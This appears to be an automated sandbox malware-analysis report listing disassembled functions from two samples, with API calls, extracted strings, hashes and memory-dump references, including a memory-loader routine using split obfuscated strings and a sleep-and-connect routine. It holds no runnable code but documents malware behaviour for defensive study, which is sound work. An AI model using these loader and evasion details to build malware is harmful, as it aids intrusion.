Instruction Fuzzy Hash: E1118E34E09655DBDB11DB54C84539CBB70FB05318F25868EE8A82F183C3B4A995CFC1

Function 00556513 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

DeleteDC.GDI32(01010D81), ref: 0059E210
DeleteDC.GDI32(06010D6E), ref: 0059E223

Strings

\m, xrefs: 0055656D

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Delete
String ID: \m
API String ID: 1035893169-431485060
Opcode ID: 822fa9df64cbc7ec8feff1f50b72d2099273833969813342946208439e62653f
Instruction ID: 1c1cf9d08d11a86594c6bea3167a093f2457405adb1f7569580990d58b4f12f3
Opcode Fuzzy Hash: 822fa9df64cbc7ec8feff1f50b72d2099273833969813342946208439e62653f
Instruction Fuzzy Hash: B7F0EC32A2051663AB04B7F0782B62D2957BB8A311F406438E6C25A2D3DE28D8128F63

Function 03650F48 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 03650F57

Part of subcall function 0364EA0D: __getptd_noexit.LIBCMT ref: 0364EA10
Part of subcall function 0364EA0D: __amsg_exit.LIBCMT ref: 0364EA1D

__getptd.LIBCMT ref: 03650F65

Strings

csm, xrefs: 03650F73

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: f9f64d09b4068a58e2e8f065dc4f033a2b689a0011f903776a6ee69fe6737778
Instruction ID: 076c989be42ff67f32ac7e0cfec32a4ae71e8e02cf48e697d35b3f2986f2efbf
Opcode Fuzzy Hash: f9f64d09b4068a58e2e8f065dc4f033a2b689a0011f903776a6ee69fe6737778
Instruction Fuzzy Hash: 5A0112398017059BCB24DE24C644AADF7B9BB01311F28486EEC409A790EB79C5809F46

Function 10010F44 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 10010F53

Part of subcall function 1000EA09: __getptd_noexit.LIBCMT ref: 1000EA0C
Part of subcall function 1000EA09: __amsg_exit.LIBCMT ref: 1000EA19

__getptd.LIBCMT ref: 10010F61

Strings

csm, xrefs: 10010F6F

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: f9f64d09b4068a58e2e8f065dc4f033a2b689a0011f903776a6ee69fe6737778
Instruction ID: 0b68c18b04a2594aeb466f25acbeb17461be63212fdf9adf152435a349185842
Opcode Fuzzy Hash: f9f64d09b4068a58e2e8f065dc4f033a2b689a0011f903776a6ee69fe6737778
Instruction Fuzzy Hash: 41012C38A043458EDB24CF61D45569DB7F5EF04291F20452EF4815AA61CBB0E9C2CF42

Function 0054B44A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0054B45B
GetParent.USER32(?), ref: 0054B47B

Strings

7Au6A, xrefs: 0054B450, 0054B45A

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Parent_memset
String ID: 7Au6A
API String ID: 2014191161-2090459501
Opcode ID: 63b05860435bd514bd2bef04288b19d4e1b20f1baf9283824190bdfb4a524e35
Instruction ID: fe2b1d37f79ae73655800efbb9a941a0f5eb0a7eb8cac4f69c93fc6f8c5f1ac1
Opcode Fuzzy Hash: 63b05860435bd514bd2bef04288b19d4e1b20f1baf9283824190bdfb4a524e35
Instruction Fuzzy Hash: BAF06D72500705ABE7208F26D804F97BBE9FFD0768F10C42EE8A98B211D3B0E801CB94

Function 00564C33 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0073B1D0,?,?,?,?,0054D79D,00000010,00000008,00544598,0054452F,005381E4,005382F8,0040E0F1), ref: 00564C6D
InitializeCriticalSection.KERNEL32(-0073B038,?,?,?,?,0054D79D,00000010,00000008,00544598,0054452F,005381E4,005382F8,0040E0F1), ref: 00564C7F
LeaveCriticalSection.KERNEL32(0073B1D0,?,?,?,?,0054D79D,00000010,00000008,00544598,0054452F,005381E4,005382F8,0040E0F1), ref: 00564C8C
EnterCriticalSection.KERNEL32(-0073B038,?,?,?,?,0054D79D,00000010,00000008,00544598,0054452F,005381E4,005382F8,0040E0F1), ref: 00564C9C

Part of subcall function 005381C8: __CxxThrowException@8.LIBCMT ref: 005381DE
Part of subcall function 005381C8: __EH_prolog3.LIBCMT ref: 005381EB

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: CriticalSection$Enter$Exception@8H_prolog3InitializeLeaveThrow
String ID:
API String ID: 2895727460-0
Opcode ID: 19adabfb396c4316b86e330d61b6d73c0d74e3d871021e71914355271bbf5929
Instruction ID: 2e2847c5477703053a214fc31ff6fa624893beb1846d2c6b0b1de47cfd329d3d
Opcode Fuzzy Hash: 19adabfb396c4316b86e330d61b6d73c0d74e3d871021e71914355271bbf5929
Instruction Fuzzy Hash: C9F0C273202209AFEB141B94DD9DB29BA6AFBE1351F412125E20453152DB748941CEA5

Function 0054D716 Relevance: 5.0, APIs: 4, Instructions: 35COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0073A27C,?,?,?,?,0054DCC2,?,00000004,00544579,005381E4,005382F8,0040E0F1), ref: 0054D724
TlsGetValue.KERNEL32(0073A260,?,?,?,?,0054DCC2,?,00000004,00544579,005381E4,005382F8,0040E0F1), ref: 0054D738
LeaveCriticalSection.KERNEL32(0073A27C,?,?,?,?,0054DCC2,?,00000004,00544579,005381E4,005382F8,0040E0F1), ref: 0054D74E
LeaveCriticalSection.KERNEL32(0073A27C,?,?,?,?,0054DCC2,?,00000004,00544579,005381E4,005382F8,0040E0F1), ref: 0054D759

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: CriticalSection$Leave$EnterValue
String ID:
API String ID: 3969253408-0
Opcode ID: 963ec33397e15d755683d7068fc250333d53209a43c35716d59d7821a6acbce2
Instruction ID: a31ba7790e31959afcdf96f5812570665656670ee15346c31ccdfe3d9740748d
Opcode Fuzzy Hash: 963ec33397e15d755683d7068fc250333d53209a43c35716d59d7821a6acbce2
Instruction Fuzzy Hash: 5EF05E76200205AFC7209F58EC88D9ABBFEFA843A53165926F80697511DA35F805CBF2

Analysis Process: DAPIjX8.exePID: 5296, Parent PID: 7440COMMON

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	10.2%
Signature Coverage:	1.3%
Total number of Nodes:	826
Total number of Limit Nodes:	55

Executed Functions

Function 032FE051 Relevance: 72.6, APIs: 3, Strings: 38, Instructions: 811memorylibraryloaderCOMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 032FE4C2
VirtualAlloc.KERNEL32(?,?,00003000,00000004), ref: 032FE4F2
LdrGetProcedureAddress.NTDLL(00000000,?,00000000,?), ref: 032FE819

Strings

tu, xrefs: 032FE156
st, xrefs: 032FE1CC
Lo, xrefs: 032FE11B
P, xrefs: 032FE195
yA, xrefs: 032FE144
o, xrefs: 032FE1E8
Via, xrefs: 032FE331
a, xrefs: 032FE122
A, xrefs: 032FE263
fo, xrefs: 032FE24B
mI, xrefs: 032FE240
Syst, xrefs: 032FE238
ucti, xrefs: 032FE1DD
Ta, xrefs: 032FE29C
oc, xrefs: 032FE173
otec, xrefs: 032FE19E
a, xrefs: 032FE13B
b, xrefs: 032FE132
F, xrefs: 032FE1AB
ctio, xrefs: 032FE28A
b, xrefs: 032FE2A6
ushI, xrefs: 032FE1BA
iv, xrefs: 032FE231
ee, xrefs: 032FE10F
Rt, xrefs: 032FE252
t, xrefs: 032FE1A6
a, xrefs: 032FE15D
Fu, xrefs: 032FE279
S, xrefs: 032FE106
p, xrefs: 032FE116
Vi, xrefs: 032FE14B
tu, xrefs: 032FE185
G, xrefs: 032FE224
A, xrefs: 032FE166
tNat, xrefs: 032FE229
Li, xrefs: 032FE12B
Cach, xrefs: 032FE219
a, xrefs: 032FE18C

Memory Dump Source

Source File: 00000009.00000002.3246679220.00000000032FE000.00000040.00000020.00020000.00000000.sdmp, Offset: 032FE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_32fe000_DAPIjX8.jbxd

Yara matches

Similarity

API ID: AddressAllocInfoNativeProcedureSystemVirtual
String ID: A$A$Cach$F$Fu$G$Li$Lo$P$Rt$S$Syst$Ta$Vi$Via$a$a$a$a$b$b$ctio$ee$fo$iv$mI$o$oc$otec$p$st$t$tNat$tu$tu$ucti$ushI$yA
API String ID: 2811151940-2899676511
Opcode ID: 15b3c3a1d8b5dafea4a93bb4805a509b4eeb6b1eaca912e0ae13e9403863b76d
Instruction ID: f3ce44117919a4aaeebe1312827f6a78fd2d2279a8ac2d1bbbd8e8c85bc44407
Opcode Fuzzy Hash: 15b3c3a1d8b5dafea4a93bb4805a509b4eeb6b1eaca912e0ae13e9403863b76d
Instruction Fuzzy Hash: CE626A715193868FD732CF24C840BABF7E5BF84704F09492DEAC987261E770A984CB56

Function 6C675835 Relevance: 30.8, APIs: 2, Strings: 15, Instructions: 1038COMMON

Download Yara Rule

Strings

barycentric Moshier positions are not supported., xrefs: 6C675876
Pholus's ephemeris is restricted to JD %8.1f - JD %8.1f, xrefs: 6C676407
`ul, xrefs: 6C675D68
trying Swiss Eph; , xrefs: 6C6759EC, 6C675C65
using Moshier eph.; , xrefs: 6C676289, 6C676503
de431.eph, xrefs: 6C675BD4
xul, xrefs: 6C675D9B
sun: , xrefs: 6C676555
using Moshier Eph; , xrefs: 6C675B16
Interpolated apsides are restricted to JD %8.1f - JD %8.1f, xrefs: 6C67609E
`ul, xrefs: 6C675FF2
Chiron's ephemeris is restricted to JD %8.1f - JD %8.1f, xrefs: 6C6763C1
.;C:\Astrolog\, xrefs: 6C675BCF
illegal planet number %d., xrefs: 6C6762FC
using Moshier eph.; , xrefs: 6C675A9B

Memory Dump Source

Source File: 00000009.00000002.3247704451.000000006C631000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C630000, based on PE: true

Associated: 00000009.00000002.3247658291.000000006C630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247812700.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247950943.000000006C727000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247979957.000000006C729000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248027784.000000006C74D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248067369.000000006C74E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C750000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C753000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C758000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C760000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248260526.000000006C763000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c630000_DAPIjX8.jbxd

Similarity

API ID:
String ID: using Moshier eph.; $ trying Swiss Eph; $ using Moshier Eph; $ using Moshier eph.; $.;C:\Astrolog\$Chiron's ephemeris is restricted to JD %8.1f - JD %8.1f$Interpolated apsides are restricted to JD %8.1f - JD %8.1f$Pholus's ephemeris is restricted to JD %8.1f - JD %8.1f$`ul$`ul$barycentric Moshier positions are not supported.$de431.eph$illegal planet number %d.$sun: $xul
API String ID: 0-479338637
Opcode ID: 0d795ce6165ddc0bca363bba214ad7172459b4d9c4ef944fe305ac0c69c38d6d
Instruction ID: 22888b3f029e31ba0d13712bb82c97863ae1eab4445f67f659f101a77392cf91
Opcode Fuzzy Hash: 0d795ce6165ddc0bca363bba214ad7172459b4d9c4ef944fe305ac0c69c38d6d
Instruction Fuzzy Hash: 99823871904509DAEF309F24DC44BD97BB0EB4A328F544EE5E4A4A69C0DB31C9A4CF6E

Function 1000F100 Relevance: 21.9, APIs: 10, Strings: 2, Instructions: 918sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0001D4C0,?,00000000,?), ref: 1000F406

Strings

`, xrefs: 1000F442
https://, xrefs: 1000F2AB, 1000FA9F

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Sleep
String ID: `$https://
API String ID: 3472027048-3356742408
Opcode ID: 8bdf530b9ea3ced8279571d6625b001ddbfa3540c5801337f33a91fe9c71cf8c
Instruction ID: d66631ddc7739b2df91dca4a1cd6bdde61ed29147cda0506061661c4489d8bb2
Opcode Fuzzy Hash: 8bdf530b9ea3ced8279571d6625b001ddbfa3540c5801337f33a91fe9c71cf8c
Instruction Fuzzy Hash: 3482E471D00258DFEB54CB64CC85BEDBBB2EF45344F10829CE049AB695DB78AB84CB61

Function 6C631112 Relevance: 21.2, APIs: 3, Strings: 9, Instructions: 237
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6C6B24FA: __fsopen.LIBCMT ref: 6C6B2507

_sprintf.LIBCMT ref: 6C631133

Part of subcall function 6C651814: _sprintf.LIBCMT ref: 6C65183B
Part of subcall function 6C651814: MessageBoxA.USER32(?,?,00000030), ref: 6C651850

_memset.LIBCMT ref: 6C631265
_memset.LIBCMT ref: 6C631276

Strings

</body></html>, xrefs: 6C63145D
, xrefs: 6C631453
<html><body>, xrefs: 6C6311A6
, xrefs: 6C6311B6
Version:0.9StartHTML:00000094EndHTML:00010000StartFragment:00000129EndFragment:00010000, xrefs: 6C63119C
prl, xrefs: 6C63111A, 6C63114C, 6C63116F, 6C631482
, xrefs: 6C631439
, xrefs: 6C6311C0
File %s can not be created., xrefs: 6C63112D

Memory Dump Source

Source File: 00000009.00000002.3247704451.000000006C631000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C630000, based on PE: true

Associated: 00000009.00000002.3247658291.000000006C630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247812700.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247950943.000000006C727000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247979957.000000006C729000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248027784.000000006C74D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248067369.000000006C74E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C750000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C753000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C758000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C760000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248260526.000000006C763000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c630000_DAPIjX8.jbxd

Similarity

API ID: _memset_sprintf$Message__fsopen
String ID: $$ prl$</body></html>$$$<html><body>$File %s can not be created.$Version:0.9StartHTML:00000094EndHTML:00010000StartFragment:00000129EndFragment:00010000
API String ID: 2973518034-3916398297
Opcode ID: 861a54cbba0082174a19c18b2f41fbaa27bd37af228ec303684dac54ab486217
Instruction ID: d16bd277927f866e79e22ffa7db0c0c287b66e2543ef52223484db7f0bebf1fd
Opcode Fuzzy Hash: 861a54cbba0082174a19c18b2f41fbaa27bd37af228ec303684dac54ab486217
Instruction Fuzzy Hash: 98915C72B09261DBEB00EFA5C48185477B5BB6B31C715A93FD2998BB40D770C884CB8E

Function 6C6B1F6A Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 6C6B5DD6

Part of subcall function 6C6B37D0: __FF_MSGBANNER.LIBCMT ref: 6C6B37E9
Part of subcall function 6C6B37D0: __NMSG_WRITE.LIBCMT ref: 6C6B37F0
Part of subcall function 6C6B37D0: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,6C6B7A8B,?,00000001,?,?,6C6B7F4A,00000018,6C722E78,0000000C,6C6B7FDA), ref: 6C6B3815

std::exception::exception.LIBCMT ref: 6C6B5E0B
std::exception::exception.LIBCMT ref: 6C6B5E25
__CxxThrowException@8.LIBCMT ref: 6C6B5E36
IsDebuggerPresent.KERNEL32 ref: 6C6B5EF7
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6C6B5F0C
UnhandledExceptionFilter.KERNEL32(6C6DFF84), ref: 6C6B5F17
GetCurrentProcess.KERNEL32(C0000409), ref: 6C6B5F33
TerminateProcess.KERNEL32(00000000), ref: 6C6B5F3A

Strings

0ul, xrefs: 6C6B5DE9

Memory Dump Source

Source File: 00000009.00000002.3247704451.000000006C631000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C630000, based on PE: true

Associated: 00000009.00000002.3247658291.000000006C630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247812700.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247950943.000000006C727000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247979957.000000006C729000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248027784.000000006C74D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248067369.000000006C74E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C750000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C753000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C758000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C760000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248260526.000000006C763000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c630000_DAPIjX8.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandledstd::exception::exception$AllocateCurrentDebuggerException@8HeapPresentTerminateThrow_malloc
String ID: 0ul
API String ID: 2175014196-3400794795
Opcode ID: 2f01deca6067671a730cf94fdb77d8e0ea8853db4e57351d5e718a3c6fc73463
Instruction ID: ca1bc915d665f9a690d708580310b8ff12817af40460ace125b424dfdd9b2f72
Opcode Fuzzy Hash: 2f01deca6067671a730cf94fdb77d8e0ea8853db4e57351d5e718a3c6fc73463
Instruction Fuzzy Hash: DF411AB9A002899FDB00DF65CC85A987BB5FB0A31CF90412AE80897B40EF709945CF5A

Function 6C6547B5 Relevance: 44.0, APIs: 16, Strings: 9, Instructions: 248
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_sprintf.LIBCMT ref: 6C6547FA
_sprintf.LIBCMT ref: 6C654846
GetModuleFileNameA.KERNEL32(?,000000FF,?,?,?,00000000,00000000), ref: 6C654860
_sprintf.LIBCMT ref: 6C6548A1
_sprintf.LIBCMT ref: 6C6548D5
_sprintf.LIBCMT ref: 6C65491C
_sprintf.LIBCMT ref: 6C654963
__wgetenv.LIBCMT ref: 6C65496F
_sprintf.LIBCMT ref: 6C654992
__wgetenv.LIBCMT ref: 6C6549BC
_sprintf.LIBCMT ref: 6C6549DD
__wgetenv.LIBCMT ref: 6C654A03
_sprintf.LIBCMT ref: 6C654A24
_sprintf.LIBCMT ref: 6C654A5B
_sprintf.LIBCMT ref: 6C654AAB
_sprintf.LIBCMT ref: 6C654ADB

Strings

%s%c%s, xrefs: 6C65480F, 6C65491A, 6C654990, 6C6549DB, 6C654A22, 6C654A59
C:\Astrolog, xrefs: 6C654A4E
ASTROLOG, xrefs: 6C6549B7
File '%s' not found., xrefs: 6C654AA5
%s.as, xrefs: 6C65483A
710, xrefs: 6C65494C
%s%s, xrefs: 6C65495D
r%s, xrefs: 6C6547F4
ASTR, xrefs: 6C654951, 6C654956, 6C654A02

Memory Dump Source

Source File: 00000009.00000002.3247704451.000000006C631000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C630000, based on PE: true

Associated: 00000009.00000002.3247658291.000000006C630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247812700.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247950943.000000006C727000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247979957.000000006C729000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248027784.000000006C74D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248067369.000000006C74E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C750000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C753000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C758000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C760000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248260526.000000006C763000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c630000_DAPIjX8.jbxd

Similarity

API ID: _sprintf$__wgetenv$FileModuleName
String ID: %s%c%s$%s%s$%s.as$710$ASTR$ASTROLOG$C:\Astrolog$File '%s' not found.$r%s
API String ID: 2614078948-576927601
Opcode ID: cd478209d5c6f133f40534fab666b5e2bd37a262ba0718d1832129367a6e6d78
Instruction ID: ddadc2a458ba6ffccf44d2ff0a9d0c597f2972a7673365b61c9a68542e6f3af0
Opcode Fuzzy Hash: cd478209d5c6f133f40534fab666b5e2bd37a262ba0718d1832129367a6e6d78
Instruction Fuzzy Hash: C291B8F6800218ABDB11DA90CD84FDB77BC9F15304F5401D1E659A3941EBB4DAA8CF6C

Function 6C677CC1 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 536COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6C677DF6
_free.LIBCMT ref: 6C677E0B
_sprintf.LIBCMT ref: 6C677EED
_strncmp.LIBCMT ref: 6C677F22
_sprintf.LIBCMT ref: 6C6782B3
_sprintf.LIBCMT ref: 6C6782E2
_sprintf.LIBCMT ref: 6C67834D

Strings

jd %f > upper limit %f;, xrefs: 6C67833E
plan. moon No. %d (%s): , xrefs: 6C6782AD
99., xrefs: 6C67828B
asteroid No. %d (%s): , xrefs: 6C678271
planets eph. file (%s): , xrefs: 6C6782CF
asteroid eph. file (%s): , xrefs: 6C6782C3
se1, xrefs: 6C677EE2
s.%s, xrefs: 6C677EE7
jd %f < lower limit %f;, xrefs: 6C67831D
moon eph. file (%s): , xrefs: 6C6782D6
.;C:\Astrolog\, xrefs: 6C677F50
plan. COB No. %d (%s): , xrefs: 6C6782A6

Memory Dump Source

Source File: 00000009.00000002.3247704451.000000006C631000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C630000, based on PE: true

Associated: 00000009.00000002.3247658291.000000006C630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247812700.000000006C6DD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247950943.000000006C727000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3247979957.000000006C729000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248027784.000000006C74D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248067369.000000006C74E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C750000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C753000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C758000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.3248131092.000000006C75C000.00000004.00000001.01000000.0000000B.sdmpDownload File
